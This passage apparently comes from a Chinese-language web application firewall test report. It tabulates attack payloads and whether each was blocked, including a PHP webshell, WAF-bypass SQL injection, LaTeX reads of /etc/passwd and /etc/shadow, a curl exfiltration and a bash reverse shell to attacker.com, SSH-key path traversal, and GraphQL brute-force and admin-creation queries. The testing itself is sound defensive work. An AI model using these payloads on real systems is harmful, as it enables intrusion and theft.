| 🛡️ | POST | UPLOAD WAF 绕过 - Unicode 文件名绕过 + Webshell | shell.php%E3%80%82jpg <?php system($_GET[1]);?> | 403 |
4.35 waf bypass general
- 项目数: 10 | 通过: 10 | 通过率: 100.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | WAF 通用绕过 - HTTP 方法篡改 (GET 改 POST 绕过 URL 检测) | POST /endpoint?id=1' OR '1'='1 | 403 |
| 🛡️ | POST | WAF 通用绕过 - HTTP 参数污染 (HPP) 多次传参 | id=1&id=1 UNION SELECT 1,2,3-- | 403 |
| 🛡️ | POST | WAF 通用绕过 - Content-Type 篡改为 multipart/form-data | Content-Type: multipart/form-data; boundary=x Body: --x\r\nContent-Disposition: form-data; name="id"\r\n\r\n1' OR '1'='1\r\n--x-- | 403 |
| 🛡️ | POST | WAF 通用绕过 - Chunked Transfer-Encoding 分块混淆 | Transfer-Encoding: chunked\r\n\r\n5\r\n1' OR \r\n6\r\n'1'='1\r\n0\r\n\r\n | 403 |
| 🛡️ | POST | WAF 通用绕过 - Content-Type 篡改为 application/json | Content-Type: application/json Body: {"id":"1' OR '1'='1"} | 403 |
| 🛡️ | POST | WAF 通用绕过 - 超大请求体绕过检测深度限制 (10000 填充字节) | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... | 403 |
| 🛡️ | POST | WAF 通用绕过 - HTTP/1.0 降级绕过高级检测 | GET /endpoint?id=1' OR '1'='1 HTTP/1.0 | 403 |
| 🛡️ | POST | WAF 通用绕过 - 请求体压缩绕过 (gzip) | Content-Encoding: gzip 1' UNION SELECT 1,2,3-- | 403 |
| 🛡️ | POST | WAF 通用绕过 - 请求头大小写混淆 | Content-TYPE: application/x-www-form-urlencoded id=1' OR '1'='1 | 403 |
| 🛡️ | POST | WAF 通用绕过 - Pipeline 请求走私绕过 | GET /endpoint?id=1 HTTP/1.1\r\nHost: target\r\n\r\nGET /endpoint?id=1' OR '1'='1 HTTP/1.1\r\nHost: target\r\n\r\n | 403 |
4.36 latex injection
- 项目数: 10 | 通过: 9 | 通过率: 90.0%
| 状态 | 方法 | 项目描述 | Payload | HTTP 状态码 |
|---|---|---|---|---|
| 🛡️ | POST | LaTeX - \include 包含任意 .tex 文件泄露敏感配置 | \include{/var/www/html/config/database} | 403 |
| 🛡️ | POST | LaTeX - \input 读取 /etc/passwd 泄露系统用户列表 | \input{/etc/passwd} | 403 |
| 🛡️ | POST | LaTeX - \lstinputlisting 逐行读取 /etc/shadow 泄露密码哈希 | \lstinputlisting{/etc/shadow} | 403 |
| 🛡️ | POST | LaTeX - \verbatiminput 原始读取 /etc/passwd 不做解释 | \verbatiminput{/etc/passwd} | 403 |
| 🛡️ | POST | LaTeX - \immediate\write18 写入 Webshell 到 Web 目录 Getshell | \immediate\write18{echo '<?php system(\$_GET[1]);?>' > /var/www/html/latex.php} | 403 |
| ⚠️ | POST | LaTeX - \immediate\write18 执行 id 命令确认代码执行能力 | \immediate\write18{id} | 200 |
| 🛡️ | POST | LaTeX - 逐行循环读取多行敏感文件 (/etc/shadow) | \newread\file\openin\file=/etc/shadow\loop\unless\ifeof\file\read\file to\line\text{\line}\repeat\closein\file | 403 |
| 🛡️ | POST | LaTeX - \immediate\write18 curl 数据外带泄露到攻击者服务器 | \immediate\write18{curl http://attacker.com/$(cat /etc/passwd|base64)} | 403 |
| 🛡️ | POST | LaTeX - ^^ 字符编码绕过黑名单过滤读取 /etc/passwd | \lstin^^70utlisting{/etc/passwd} | 403 |
| 🛡️ | POST | LaTeX - \immediate\write18 反弹 Shell (bash TCP) | \immediate\write18{bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'} | 403 |
5. 未通过测试项目汇总
以下 16 条项目未通过检测,建议重点审查:
| 分类 | 描述 | Payload | 状态码 |
|---|---|---|---|
| waf bypass path | WAF 路径绕过 - 双 URL 编码读取 root SSH 私钥横向移动 | %252e%252e%252f%252e%252e%252f%252e%252e%252froot%252f.ssh%252fid_rsa | 200 |
| command injection | 命令注入 - nmap 扫描内网端口 | ; nmap -Pn -p 22,80,443,3306,6379 10.0.0.0/24 | 200 |
| prototype pollution | 原型污染 - constructor.prototype 注入管理员标记 | {"constructor":{"prototype":{"isAdmin":true}}} | 200 |
| prototype pollution | 原型污染 - 绕过 JSON.parse 安全过滤 (obj 前缀) | {"obj.__proto__.status":"admin"} | 200 |
| graphql injection | GraphQL - 内省查询 dump 数据库 Schema 泄露全部结构和字段 | {__schema{types{name,fields{name,type{name,kind}}}}} | 200 |
| graphql injection | GraphQL - 类型枚举查询 获取单个类型定义泄露敏感字段 | {__type(name:"User"){name,fields{name,type{name,kind,ofType{name,kind}}}}} | 200 |
| graphql injection | GraphQL - 内省查询 dump mutation 操作泄露数据修改入口 | {__schema{mutationType{name,fields{name,args{name,type{name,kind}}}}}} | 200 |
| graphql injection | GraphQL - 深度嵌套查询 DoS 攻击(资源耗尽拖垮服务) | {user{posts{comments{author{posts{comments{author{posts{comments{content}}}}}}}}}} | 200 |
| graphql injection | GraphQL - Batching 攻击 批量并发认证爆破绕过速率限制 | [{"query":"mutation{login(username:\"admin\",password:\"admin123\"){token}}"},{"query":"mutation{login(username:\"admin\",password:\"password\"){token}}"},{"query":"mutation{login(username:\"admin\",p... | 200 |
| graphql injection | GraphQL - 别名 Aliases 绕过速率限制并发暴力破解 | {m1:login(p:"1"){t} m2:login(p:"2"){t} m3:login(p:"3"){t} m4:login(p:"4"){t} m5:login(p:"5"){t}} | 200 |
| graphql injection | GraphQL - 内省查询 + dump 全部 Directive 定义泄露安全策略 | {__schema{directives{name,description,locations,args{name,description}}}} | 200 |
| graphql injection | GraphQL - 无内省但利用字段推荐机制枚举隐藏字段 | {__schema{types{name}}} {user(id:1){name,NOTEXIST}} | 200 |
| graphql injection | GraphQL - Mutation 注入创建管理员账户提权 | mutation{addUser(name:"hacker",email:"hacker@evil.com",role:"admin"){id,name,role}} | 200 |
| graphql injection | GraphQL - NoSQL 注入通过 GraphQL 参数提取所有用户数据 | {user(id:"{\"$gt\":\"\"}"){name,email,password}} | 200 |
| graphql injection | GraphQL - 内省查询 dump subscription 操作泄露实时数据通道 | {__schema{subscriptionType{name,fields{name,type{name,kind,ofType{name,kind}}}}}} | 200 |
| latex injection | LaTeX - \immediate\write18 执行 id 命令确认代码执行能力 | \immediate\write18{id} | 200 |
